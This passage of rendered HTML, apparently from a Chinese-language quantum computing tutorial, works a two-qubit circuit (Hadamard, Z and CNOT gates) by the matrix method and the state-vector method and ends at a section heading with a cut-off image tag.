style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M76,0c-16.7,0,-25,3,-25,9c0,2,2,6.3,6,13c21.3,28.7,42.3,60.3,63,95c96.7,156.7,172.8,332.5,228.5,527.5c55.7,195,92.8,416.5,111.5,664.5c11.3,139.3,17,290.7,17,454c0,28,1.7,43,3.3,45l0,1209c-3,4,-3.3,16.7,-3.3,38c0,162,-5.7,313.7,-17,455c-18.7,248,-55.8,469.3,-111.5,664c-55.7,194.7,-131.8,370.3,-228.5,527c-20.7,34.7,-41.7,66.3,-63,95c-2,3.3,-4,7,-6,11c0,7.3,5.7,11,17,11c0,0,11,0,11,0c9.3,0,14.3,-0.3,15,-1c5.3,-5.3,10.3,-11,15,-17c242.7,-294.7,395.3,-681.7,458,-1161c21.3,-164.7,33.3,-350.7,36,-558l0,-1344c-2,-159.3,-10,-310.7,-24,-454c-53.3,-528,-210,-949.7,-470,-1265c-4.7,-6,-9.7,-11.7,-15,-17c-0.7,-0.7,-6.7,-1,-18,-1z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M863,9c0,-2,-2,-5,-6,-9c0,0,-17,0,-17,0c-12.7,0,-19.3,0.3,-20,1c-5.3,5.3,-10.3,11,-15,17c-242.7,294.7,-395.3,682,-458,1162c-21.3,163.3,-33.3,349,-36,557 l0,1284c0.2,6,0,26,0,60c2,159.3,10,310.7,24,454c53.3,528,210,949.7,470,1265c4.7,6,9.7,11.7,15,17c0.7,0.7,7,1,19,1c0,0,18,0,18,0c4,-4,6,-7,6,-9c0,-2.7,-3.3,-8.7,-10,-18c-135.3,-192.7,-235.5,-414.3,-300.5,-665c-65,-250.7,-102.5,-544.7,-112.5,-882c-2,-104,-3,-167,-3,-189l0,-1292c0,-162.7,5.7,-314,17,-454c20.7,-272,63.7,-513,129,-723c65.3,-210,155.3,-396.3,270,-559c6.7,-9.3,10,-15.3,10,-18z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M76,0c-16.7,0,-25,3,-25,9c0,2,2,6.3,6,13c21.3,28.7,42.3,60.3,63,95c96.7,156.7,172.8,332.5,228.5,527.5c55.7,195,92.8,416.5,111.5,664.5c11.3,139.3,17,290.7,17,454c0,28,1.7,43,3.3,45l0,1209c-3,4,-3.3,16.7,-3.3,38c0,162,-5.7,313.7,-17,455c-18.7,248,-55.8,469.3,-111.5,664c-55.7,194.7,-131.8,370.3,-228.5,527c-20.7,34.7,-41.7,66.3,-63,95c-2,3.3,-4,7,-6,11c0,7.3,5.7,11,17,11c0,0,11,0,11,0c9.3,0,14.3,-0.3,15,-1c5.3,-5.3,10.3,-11,15,-17c242.7,-294.7,395.3,-681.7,458,-1161c21.3,-164.7,33.3,-350.7,36,-558l0,-1344c-2,-159.3,-10,-310.7,-24,-454c-53.3,-528,-210,-949.7,-470,-1265c-4.7,-6,-9.7,-11.7,-15,-17c-0.7,-0.7,-6.7,-1,-18,-1z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:4.8em;vertical-align:-2.15em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M863,9c0,-2,-2,-5,-6,-9c0,0,-17,0,-17,0c-12.7,0,-19.3,0.3,-20,1c-5.3,5.3,-10.3,11,-15,17c-242.7,294.7,-395.3,682,-458,1162c-21.3,163.3,-33.3,349,-36,557 l0,1284c0.2,6,0,26,0,60c2,159.3,10,310.7,24,454c53.3,528,210,949.7,470,1265c4.7,6,9.7,11.7,15,17c0.7,0.7,7,1,19,1c0,0,18,0,18,0c4,-4,6,-7,6,-9c0,-2.7,-3.3,-8.7,-10,-18c-135.3,-192.7,-235.5,-414.3,-300.5,-665c-65,-250.7,-102.5,-544.7,-112.5,-882c-2,-104,-3,-167,-3,-189l0,-1292c0,-162.7,5.7,-314,17,-454c20.7,-272,63.7,-513,129,-723c65.3,-210,155.3,-396.3,270,-559c6.7,-9.3,10,-15.3,10,-18z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M76,0c-16.7,0,-25,3,-25,9c0,2,2,6.3,6,13c21.3,28.7,42.3,60.3,63,95c96.7,156.7,172.8,332.5,228.5,527.5c55.7,195,92.8,416.5,111.5,664.5c11.3,139.3,17,290.7,17,454c0,28,1.7,43,3.3,45l0,1209c-3,4,-3.3,16.7,-3.3,38c0,162,-5.7,313.7,-17,455c-18.7,248,-55.8,469.3,-111.5,664c-55.7,194.7,-131.8,370.3,-228.5,527c-20.7,34.7,-41.7,66.3,-63,95c-2,3.3,-4,7,-6,11c0,7.3,5.7,11,17,11c0,0,11,0,11,0c9.3,0,14.3,-0.3,15,-1c5.3,-5.3,10.3,-11,15,-17c242.7,-294.7,395.3,-681.7,458,-1161c21.3,-164.7,33.3,-350.7,36,-558l0,-1344c-2,-159.3,-10,-310.7,-24,-454c-53.3,-528,-210,-949.7,-470,-1265c-4.7,-6,-9.7,-11.7,-15,-17c-0.7,-0.7,-6.7,-1,-18,-1z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>這個做法的好處就是我們只要推導一次，之後就算 Init state 變了還是一樣把整體矩陣左乘即可；缺點是計算量大。</p><h3 id="%E5%90%91%E9%87%8F%E6%B3%95" tabindex="-1" id="向量法">向量法</h3><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mover><mo stretchy="true" minsize="3.0em">→</mo><mpadded width="+0.6em" lspace="0.3em"><msub><mi>H</mi><msub><mi>q</mi><mn>0</mn></msub></msub></mpadded></mover><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>01</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mover><mo stretchy="true" minsize="3.0em">→</mo><mpadded width="+0.6em" lspace="0.3em"><msub><mi>H</mi><msub><mi>q</mi><mn>1</mn></msub></msub></mpadded></mover><mfrac><mn>1</mn><mn>2</mn></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>01</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>10</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mspace linebreak="newline"></mspace><mover><mo stretchy="true" minsize="3.0em">→</mo><mpadded width="+0.6em" lspace="0.3em"><msub><mi>Z</mi><msub><mi>q</mi><mn>1</mn></msub></msub></mpadded></mover><mfrac><mn>1</mn><mn>2</mn></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>01</mn><mo stretchy="false">⟩</mo><mo>−</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>10</mn><mo stretchy="false">⟩</mo><mo>−</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mover><mo stretchy="true" minsize="3.0em">→</mo><mpadded width="+0.6em" lspace="0.3em"><mrow><mi>C</mi><mi>N</mi><mi>O</mi><mi>T</mi></mrow></mpadded></mover><mfrac><mn>1</mn><mn>2</mn></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo>−</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>10</mn><mo stretchy="false">⟩</mo><mo>−</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>01</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\vert{}00\rangle \xrightarrow{H_{q_0}} \frac{1}{\sqrt{2}}\left( \vert{}00\rangle + \vert{}01\rangle \right)\xrightarrow{H_{q_1}} \frac12 \left( \vert{}00\rangle + \vert{}01\rangle + \vert{}10\rangle + \vert{}11\rangle \right) \\\xrightarrow{Z_{q_1}} \frac12 \left( \vert{}00\rangle + \vert{}01\rangle - \vert{}10\rangle - \vert{}11\rangle \right)\xrightarrow{CNOT} \frac12 \left( \vert{}00\rangle + \vert{}11\rangle - \vert{}10\rangle - \vert{}01\rangle \right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.3503em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel x-arrow"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1003em;"><span style="top:-3.322em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight x-arrow-pad"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0813em;">H</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1645em;"><span style="top:-2.357em;margin-left:-0.0813em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3448em;"><span style="top:-2.3448em;margin-left:-0.0359em;margin-right:0.1em;"><span class="pstrut" style="height:2.6444em;"></span><span class="mord mtight">0</span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2996em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.357em;"><span></span></span></span></span></span></span></span></span></span><span class="svg-align" style="top:-2.689em;"><span class="pstrut" style="height:2.7em;"></span><span class="hide-tail" style="height:0.522em;min-width:1.469em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="0.522em" viewBox="0 0 400000 522" preserveAspectRatio="xMaxYMin slice"><path d="M0 241v40h399891c-47.3 35.3-84 78-110 128-16.7 32-27.7 63.7-33 95 0 1.3-.2 2.7-.5 4-.3 1.3-.5 2.3-.5 3 0 7.3 6.7 11 20 11 8 0 13.2-.8 15.5-2.5 2.3-1.7 4.2-5.5 5.5-11.5 2-13.3 5.7-27 11-41 14.7-44.7 39-84.5 73-119.5s73.7-60.2 119-75.5c6-2 9-5.7 9-11s-3-9-9-11c-45.3-15.3-85-40.5-119-75.5s-58.3-74.8-73-119.5c-4.7-14-8.3-27.3-11-40-1.3-6.7-3.2-10.8-5.5-12.5-2.3-1.7-7.5-2.5-15.5-2.5-14 0-21 3.7-21 11 0 2 2 10.3 6 25 20.7 83.3 67 151.7 139 205zm0 0v40h399900v-40z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.011em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.2514em;vertical-align:-0.93em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord">2</span></span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">01</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel x-arrow"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1003em;"><span style="top:-3.322em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight x-arrow-pad"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0813em;">H</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1645em;"><span style="top:-2.357em;margin-left:-0.0813em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3448em;"><span style="top:-2.3448em;margin-left:-0.0359em;margin-right:0.1em;"><span class="pstrut" style="height:2.6444em;"></span><span class="mord mtight">1</span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2996em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.357em;"><span></span></span></span></span></span></span></span></span></span><span class="svg-align" style="top:-2.689em;"><span class="pstrut" style="height:2.7em;"></span><span class="hide-tail" style="height:0.522em;min-width:1.469em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="0.522em" viewBox="0 0 400000 522" preserveAspectRatio="xMaxYMin slice"><path d="M0 241v40h399891c-47.3 35.3-84 78-110 128-16.7 32-27.7 63.7-33 95 0 1.3-.2 2.7-.5 4-.3 1.3-.5 2.3-.5 3 0 7.3 6.7 11 20 11 8 0 13.2-.8 15.5-2.5 2.3-1.7 4.2-5.5 5.5-11.5 2-13.3 5.7-27 11-41 14.7-44.7 39-84.5 73-119.5s73.7-60.2 119-75.5c6-2 9-5.7 9-11s-3-9-9-11c-45.3-15.3-85-40.5-119-75.5s-58.3-74.8-73-119.5c-4.7-14-8.3-27.3-11-40-1.3-6.7-3.2-10.8-5.5-12.5-2.3-1.7-7.5-2.5-15.5-2.5-14 0-21 3.7-21 11 0 2 2 10.3 6 25 20.7 83.3 67 151.7 139 205zm0 0v40h399900v-40z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.011em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.0074em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">01</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">10</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:1.1113em;vertical-align:-0.011em;"></span><span class="mrel x-arrow"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1003em;"><span style="top:-3.322em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight x-arrow-pad"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">Z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1645em;"><span style="top:-2.357em;margin-left:-0.0715em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3448em;"><span style="top:-2.3448em;margin-left:-0.0359em;margin-right:0.1em;"><span class="pstrut" style="height:2.6444em;"></span><span class="mord mtight">1</span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2996em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.357em;"><span></span></span></span></span></span></span></span></span></span><span class="svg-align" style="top:-2.689em;"><span class="pstrut" style="height:2.7em;"></span><span class="hide-tail" style="height:0.522em;min-width:1.469em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="0.522em" viewBox="0 0 400000 522" preserveAspectRatio="xMaxYMin slice"><path d="M0 241v40h399891c-47.3 35.3-84 78-110 128-16.7 32-27.7 63.7-33 95 0 1.3-.2 2.7-.5 4-.3 1.3-.5 2.3-.5 3 0 7.3 6.7 11 20 11 8 0 13.2-.8 15.5-2.5 2.3-1.7 4.2-5.5 5.5-11.5 2-13.3 5.7-27 11-41 14.7-44.7 39-84.5 73-119.5s73.7-60.2 119-75.5c6-2 9-5.7 9-11s-3-9-9-11c-45.3-15.3-85-40.5-119-75.5s-58.3-74.8-73-119.5c-4.7-14-8.3-27.3-11-40-1.3-6.7-3.2-10.8-5.5-12.5-2.3-1.7-7.5-2.5-15.5-2.5-14 0-21 3.7-21 11 0 2 2 10.3 6 25 20.7 83.3 67 151.7 139 205zm0 0v40h399900v-40z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.011em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.0074em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">01</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">10</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel x-arrow"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1003em;"><span style="top:-3.322em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight x-arrow-pad"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">C</span><span class="mord mathnormal mtight" style="margin-right:0.109em;">N</span><span class="mord mathnormal mtight" style="margin-right:0.0278em;">O</span><span class="mord mathnormal mtight" style="margin-right:0.1389em;">T</span></span></span></span><span class="svg-align" style="top:-2.689em;"><span class="pstrut" style="height:2.7em;"></span><span class="hide-tail" style="height:0.522em;min-width:1.469em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="0.522em" viewBox="0 0 400000 522" preserveAspectRatio="xMaxYMin slice"><path d="M0 241v40h399891c-47.3 35.3-84 78-110 128-16.7 32-27.7 63.7-33 95 0 1.3-.2 2.7-.5 4-.3 1.3-.5 2.3-.5 3 0 7.3 6.7 11 20 11 8 0 13.2-.8 15.5-2.5 2.3-1.7 4.2-5.5 5.5-11.5 2-13.3 5.7-27 11-41 14.7-44.7 39-84.5 73-119.5s73.7-60.2 119-75.5c6-2 9-5.7 9-11s-3-9-9-11c-45.3-15.3-85-40.5-119-75.5s-58.3-74.8-73-119.5c-4.7-14-8.3-27.3-11-40-1.3-6.7-3.2-10.8-5.5-12.5-2.3-1.7-7.5-2.5-15.5-2.5-14 0-21 3.7-21 11 0 2 2 10.3 6 25 20.7 83.3 67 151.7 139 205zm0 0v40h399900v-40z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.011em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.0074em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">10</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">01</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><h3 id="%E9%80%A3%E9%80%A3%E7%9C%8B" tabindex="-1" id="連連看">連連看</h3><p><img src="maze_combined.png" 